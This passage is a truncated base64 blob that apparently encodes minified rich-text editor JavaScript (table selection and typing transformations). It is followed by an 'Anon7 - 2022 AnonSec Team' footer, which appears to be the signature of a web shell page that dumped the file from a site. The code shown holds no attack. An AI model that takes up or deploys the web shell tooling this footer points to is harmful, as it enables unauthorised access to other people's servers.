j10LnBsdWdpbnMuZ2V0KFdCKTt0aGlzLmxpc3RlblRvKHQuZWRpdGluZy52aWV3LmRvY3VtZW50LCJtb3VzZWRvd24iLCgoaSxvKT0+e2lmKCF0aGlzLmlzRW5hYmxlZHx8IW4uaXNFbmFibGVkKXtyZXR1cm59aWYoIW8uZG9tRXZlbnQuc2hpZnRLZXkpe3JldHVybn1jb25zdCByPW4uZ2V0QW5jaG9yQ2VsbCgpfHxuTih0Lm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbilbMF07aWYoIXIpe3JldHVybn1jb25zdCBzPXRoaXMuX2dldE1vZGVsVGFibGVDZWxsRnJvbURvbUV2ZW50KG8pO2lmKHMmJm9QKHIscykpe2U9dHJ1ZTtuLnNldENlbGxTZWxlY3Rpb24ocixzKTtvLnByZXZlbnREZWZhdWx0KCl9fSkpO3RoaXMubGlzdGVuVG8odC5lZGl0aW5nLnZpZXcuZG9jdW1lbnQsIm1vdXNldXAiLCgoKT0+e2U9ZmFsc2V9KSk7dGhpcy5saXN0ZW5Ubyh0LmVkaXRpbmcudmlldy5kb2N1bWVudCwic2VsZWN0aW9uQ2hhbmdlIiwodD0+e2lmKGUpe3Quc3RvcCgpfX0pLHtwcmlvcml0eToiaGlnaGVzdCJ9KX1fZW5hYmxlTW91c2VEcmFnU2VsZWN0aW9uKCl7Y29uc3QgdD10aGlzLmVkaXRvcjtsZXQgZSxuO2xldCBpPWZhbHNlO2xldCBvPWZhbHNlO2NvbnN0IHI9dC5wbHVnaW5zLmdldChXQik7dGhpcy5saXN0ZW5Ubyh0LmVkaXRpbmcudmlldy5kb2N1bWVudCwibW91c2Vkb3duIiwoKHQsbik9PntpZighdGhpcy5pc0VuYWJsZWR8fCFyLmlzRW5hYmxlZCl7cmV0dXJufWlmKG4uZG9tRXZlbnQuc2hpZnRLZXl8fG4uZG9tRXZlbnQuY3RybEtleXx8bi5kb21FdmVudC5hbHRLZXkpe3JldHVybn1lPXRoaXMuX2dldE1vZGVsVGFibGVDZWxsRnJvbURvbUV2ZW50KG4pfSkpO3RoaXMubGlzdGVuVG8odC5lZGl0aW5nLnZpZXcuZG9jdW1lbnQsIm1vdXNlbW92ZSIsKCh0LHMpPT57aWYoIXMuZG9tRXZlbnQuYnV0dG9ucyl7cmV0dXJufWlmKCFlKXtyZXR1cm59Y29uc3QgYT10aGlzLl9nZXRNb2RlbFRhYmxlQ2VsbEZyb21Eb21FdmVudChzKTtpZihhJiZvUChlLGEpKXtuPWE7aWYoIWkmJm4hPWUpe2k9dHJ1ZX19aWYoIWkpe3JldHVybn1vPXRydWU7ci5zZXRDZWxsU2VsZWN0aW9uKGUsbik7cy5wcmV2ZW50RGVmYXVsdCgpfSkpO3RoaXMubGlzdGVuVG8odC5lZGl0aW5nLnZpZXcuZG9jdW1lbnQsIm1vdXNldXAiLCgoKT0+e2k9ZmFsc2U7bz1mYWxzZTtlPW51bGw7bj1udWxsfSkpO3RoaXMubGlzdGVuVG8odC5lZGl0aW5nLnZpZXcuZG9jdW1lbnQsInNlbGVjdGlvbkNoYW5nZSIsKHQ9PntpZihvKXt0LnN0b3AoKX19KSx7cHJpb3JpdHk6ImhpZ2hlc3QifSl9X2dldE1vZGVsVGFibGVDZWxsRnJvbURvbUV2ZW50KHQpe2NvbnN0IGU9dC50YXJnZXQ7Y29uc3Qgbj10aGlzLmVkaXRvci5lZGl0aW5nLnZpZXcuY3JlYXRlUG9zaXRpb25BdChlLDApO2NvbnN0IGk9dGhpcy5lZGl0b3IuZWRpdGluZy5tYXBwZXIudG9Nb2RlbFBvc2l0aW9uKG4pO2NvbnN0IG89aS5wYXJlbnQ7cmV0dXJuIG8uZmluZEFuY2VzdG9yKCJ0YWJsZUNlbGwiLHtpbmNsdWRlU2VsZjp0cnVlfSl9fWZ1bmN0aW9uIG9QKHQsZSl7cmV0dXJuIHQucGFyZW50LnBhcmVudD09ZS5wYXJlbnQucGFyZW50fXZhciByUD1uKDU2KTt2YXIgc1A9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTtzUC5pbnNlcnQ9ImhlYWQiO3NQLnNpbmdsZXRvbj10cnVlO3ZhciBhUD1yaygpKHJQWyJhIl0sc1ApO3ZhciBjUD1yUFsiYSJdLmxvY2Fsc3x8e307Y2xhc3MgbFAgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHJlcXVpcmVzKCl7cmV0dXJuW3ZCLGpCLFdCLGlQLGVQLEtCLEp2XX1zdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iVGFibGUifX1mdW5jdGlvbiBkUCh0KXtjb25zdCBlPXQuZ2V0U2VsZWN0ZWRFbGVtZW50KCk7aWYoZSYmaFAoZSkpe3JldHVybiBlfXJldHVybiBudWxsfWZ1bmN0aW9uIHVQKHQpe2NvbnN0IGU9ZlAoInRhYmxlIix0LmdldEZpcnN0UG9zaXRpb24oKSk7aWYoZSYmaFAoZS5wYXJlbnQpKXtyZXR1cm4gZS5wYXJlbnR9cmV0dXJuIG51bGx9ZnVuY3Rpb24gaFAodCl7cmV0dXJuISF0LmdldEN1c3RvbVByb3BlcnR5KCJ0YWJsZSIpJiZYXyh0KX1mdW5jdGlvbiBmUCh0LGUpe2xldCBuPWUucGFyZW50O3doaWxlKG4pe2lmKG4ubmFtZT09PXQpe3JldHVybiBufW49bi5wYXJlbnR9fWNsYXNzIG1QIGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltmRF19c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIlRhYmxlVG9vbGJhciJ9YWZ0ZXJJbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQudDtjb25zdCBuPXQucGx1Z2lucy5nZXQoZkQpO2NvbnN0IGk9dC5jb25maWcuZ2V0KCJ0YWJsZS5jb250ZW50VG9vbGJhciIpO2NvbnN0IG89dC5jb25maWcuZ2V0KCJ0YWJsZS50YWJsZVRvb2xiYXIiKTtpZihpKXtuLnJlZ2lzdGVyKCJ0YWJsZUNvbnRlbnQiLHthcmlhTGFiZWw6ZSgiVGFibGUgdG9vbGJhciIpLGl0ZW1zOmksZ2V0UmVsYXRlZEVsZW1lbnQ6dVB9KX1pZihvKXtuLnJlZ2lzdGVyKCJ0YWJsZSIse2FyaWFMYWJlbDplKCJUYWJsZSB0b29sYmFyIiksaXRlbXM6byxnZXRSZWxhdGVkRWxlbWVudDpkUH0pfX19dmFyIGdQPS9bXFxeJC4qKz8oKVtcXXt9fF0vZyxwUD1SZWdFeHAoZ1Auc291cmNlKTtmdW5jdGlvbiBrUCh0KXt0PV9hKHQpO3JldHVybiB0JiZwUC50ZXN0KHQpP3QucmVwbGFjZShnUCwiXFwkJiIpOnR9dmFyIGJQPWtQO2NvbnN0IHdQPXtjb3B5cmlnaHQ6e2Zyb206IihjKSIsdG86IsKpIn0scmVnaXN0ZXJlZFRyYWRlbWFyazp7ZnJvbToiKHIpIix0bzoiwq4ifSx0cmFkZW1hcms6e2Zyb206Iih0bSkiLHRvOiLihKIifSxvbmVIYWxmOntmcm9tOiIxLzIiLHRvOiLCvSJ9LG9uZVRoaXJkOntmcm9tOiIxLzMiLHRvOiLihZMifSx0d29UaGlyZHM6e2Zyb206IjIvMyIsdG86IuKFlCJ9LG9uZUZvcnRoOntmcm9tOiIxLzQiLHRvOiLCvCJ9LHRocmVlUXVhcnRlcnM6e2Zyb206IjMvNCIsdG86IsK+In0sbGVzc1RoYW5PckVxdWFsOntmcm9tOiI8PSIsdG86IuKJpCJ9LGdyZWF0ZXJUaGFuT3JFcXVhbDp7ZnJvbToiPj0iLHRvOiLiiaUifSxub3RFcXVhbDp7ZnJvbToiIT0iLHRvOiLiiaAifSxhcnJvd0xlZnQ6e2Zyb206IjwtIix0bzoi4oaQIn0sYXJyb3dSaWdodDp7ZnJvbToiLT4iLHRvOiLihpIifSxob3Jpem9udGFsRWxsaXBzaXM6e2Zyb206Ii4uLiIsdG86IuKApiJ9LGVuRGFzaDp7ZnJvbTovKF58ICkoLS0pKCApJC8sdG86W251bGwsIuKAkyIsbnVsbF19LGVtRGFzaDp7ZnJvbTovKF58ICkoLS0tKSggKSQvLHRvOltudWxsLCLigJQiLG51bGxdfSxxdW90ZXNQcmltYXJ5Ontmcm9tOkRQKCciJyksdG86W251bGwsIuKAnCIsbnVsbCwi4oCdIl19LHF1b3Rlc1NlY29uZGFyeTp7ZnJvbTpEUCgiJyIpLHRvOltudWxsLCLigJgiLG51bGwsIuKAmSJdfSxxdW90ZXNQcmltYXJ5RW5HYjp7ZnJvbTpEUCgiJyIpLHRvOltudWxsLCLigJgiLG51bGwsIuKAmSJdfSxxdW90ZXNTZWNvbmRhcnlFbkdiOntmcm9tOkRQKCciJyksdG86W251bGwsIuKAnCIsbnVsbCwi4oCdIl19LHF1b3Rlc1ByaW1hcnlQbDp7ZnJvbTpEUCgnIicpLHRvOltudWxsLCLigJ4iLG51bGwsIuKAnSJdfSxxdW90ZXNTZWNvbmRhcnlQbDp7ZnJvbTpEUCgiJyIpLHRvOltudWxsLCLigJoiLG51bGwsIuKAmSJdfX07Y29uc3QgQ1A9e3N5bWJvbHM6WyJjb3B5cmlnaHQiLCJyZWdpc3RlcmVkVHJhZGVtYXJrIiwidHJhZGVtYXJrIl0sbWF0aGVtYXRpY2FsOlsib25lSGFsZiIsIm9uZVRoaXJkIiwidHdvVGhpcmRzIiwib25lRm9ydGgiLCJ0aHJlZVF1YXJ0ZXJzIiwibGVzc1RoYW5PckVxdWFsIiwiZ3JlYXRlclRoYW5PckVxdWFsIiwibm90RXF1YWwiLCJhcnJvd0xlZnQiLCJhcnJvd1JpZ2h0Il0sdHlwb2dyYXBoeTpbImhvcml6b250YWxFbGxpcHNpcyIsImVuRGFzaCIsImVtRGFzaCJdLHF1b3RlczpbInF1b3Rlc1ByaW1hcnkiLCJxdW90ZXNTZWNvbmRhcnkiXX07Y29uc3QgQVA9WyJzeW1ib2xzIiwibWF0aGVtYXRpY2FsIiwidHlwb2dyYXBoeSIsInF1b3RlcyJdO2NsYXNzIF9QIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIlRleHRUcmFuc2Zvcm1hdGlvbiJ9Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dC5jb25maWcuZGVmaW5lKCJ0eXBpbmciLHt0cmFuc2Zvcm1hdGlvbnM6e2luY2x1ZGU6QVB9fSl9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgZT10LmRvY3VtZW50LnNlbGVjdGlvbjtlLm9uKCJjaGFuZ2U6cmFuZ2UiLCgoKT0+e3RoaXMuaXNFbmFibGVkPSFlLmFuY2hvci5wYXJlbnQuaXMoImVsZW1lbnQiLCJjb2RlQmxvY2siKX0pKTt0aGlzLl9lbmFibGVUcmFuc2Zvcm1hdGlvbldhdGNoZXJzKCl9X2VuYWJsZVRyYW5zZm9ybWF0aW9uV2F0Y2hlcnMoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5tb2RlbDtjb25zdCBuPXQucGx1Z2lucy5nZXQoIklucHV0Iik7Y29uc3QgaT1FUCh0LmNvbmZpZy5nZXQoInR5cGluZy50cmFuc2Zvcm1hdGlvbnMiKSk7Y29uc3Qgbz10PT57Zm9yKGNvbnN0IGUgb2YgaSl7Y29uc3Qgbj1lLmZyb207Y29uc3QgaT1uLnRlc3QodCk7aWYoaSl7cmV0dXJue25vcm1hbGl6ZWRUcmFuc2Zvcm1hdGlvbjplfX19fTtjb25zdCByPSh0LGkpPT57aWYoIW4uaXNJbnB1dChpLmJhdGNoKSl7cmV0dXJufWNvbnN0e2Zyb206byx0bzpyfT1pLm5vcm1hbGl6ZWRUcmFuc2Zvcm1hdGlvbjtjb25zdCBzPW8uZXhlYyhpLnRleHQpO2NvbnN0IGE9cihzLnNsaWNlKDEpKTtjb25zdCBjPWkucmFuZ2U7bGV0IGw9cy5pbmRleDtlLmVucXVldWVDaGFuZ2UoKHQ9Pntmb3IobGV0IG49MTtuPHMubGVuZ3RoO24rKyl7Y29uc3QgaT1zW25dO2NvbnN0IG89YVtuLTFdO2lmKG89PW51bGwpe2wrPWkubGVuZ3RoO2NvbnRpbnVlfWNvbnN0IHI9Yy5zdGFydC5nZXRTaGlmdGVkQnkobCk7Y29uc3QgZD1lLmNyZWF0ZVJhbmdlKHIsci5nZXRTaGlmdGVkQnkoaS5sZW5ndGgpKTtjb25zdCB1PXhQKHIpO2UuaW5zZXJ0Q29udGVudCh0LmNyZWF0ZVRleHQobyx1KSxkKTtsKz1vLmxlbmd0aH19KSl9O2NvbnN0IHM9bmV3IGdTKHQubW9kZWwsbyk7cy5vbigibWF0Y2hlZDpkYXRhIixyKTtzLmJpbmQoImlzRW5hYmxlZCIpLnRvKHRoaXMpfX1mdW5jdGlvbiB2UCh0KXtpZih0eXBlb2YgdD09InN0cmluZyIpe3JldHVybiBuZXcgUmVnRXhwKGAoJHtiUCh0KX0pJGApfXJldHVybiB0fWZ1bmN0aW9uIHlQKHQpe2lmKHR5cGVvZiB0PT0ic3RyaW5nIil7cmV0dXJuKCk9Plt0XX1lbHNlIGlmKHQgaW5zdGFuY2VvZiBBcnJheSl7cmV0dXJuKCk9PnR9cmV0dXJuIHR9ZnVuY3Rpb24geFAodCl7Y29uc3QgZT10LnRleHROb2RlP3QudGV4dE5vZGU6dC5ub2RlQWZ0ZXI7cmV0dXJuIGUuZ2V0QXR0cmlidXRlcygpfWZ1bmN0aW9uIERQKHQpe3JldHVybiBuZXcgUmVnRXhwKGAoXnxcXHMpKCR7dH0pKFteJHt0fV0qKSgke3R9KSRgKX1mdW5jdGlvbiBFUCh0KXtjb25zdCBlPXQuZXh0cmF8fFtdO2NvbnN0IG49dC5yZW1vdmV8fFtdO2NvbnN0IGk9dD0+IW4uaW5jbHVkZXModCk7Y29uc3Qgbz10LmluY2x1ZGUuY29uY2F0KGUpLmZpbHRlcihpKTtyZXR1cm4gTVAobykuZmlsdGVyKGkpLm1hcCgodD0+d1BbdF18fHQpKS5tYXAoKHQ9Pih7ZnJvbTp2UCh0LmZyb20pLHRvOnlQKHQudG8pfSkpKX1mdW5jdGlvbiBNUCh0KXtjb25zdCBlPW5ldyBTZXQ7Zm9yKGNvbnN0IG4gb2YgdCl7aWYoQ1Bbbl0pe2Zvcihjb25zdCB0IG9mIENQW25dKXtlLmFkZCh0KX19ZWxzZXtlLmFkZChuKX19cmV0dXJuIEFycmF5LmZyb20oZSl9Y2xhc3MgU1AgZXh0ZW5kcyB0Q3t9U1AuYnVpbHRpblBsdWdpbnM9W19DLEVDLEZDLHFDLGhfLE1fLEp5LGh4LEt4LGhELGtELGRFLHBFLF9FLHZTLGNULEZULHBfLHZJLGxQLG1QLF9QXTt2YXIgVFA9ZVsiZGVmYXVsdCJdPVNQfV0pWyJkZWZhdWx0Il19KSk7Ci8vIyBzb3VyY2VNYXBwaW5nVVJMPWNrZWRpdG9yLmpzLm1hcA=="},null]}

Anon7 - 2022
AnonSec Team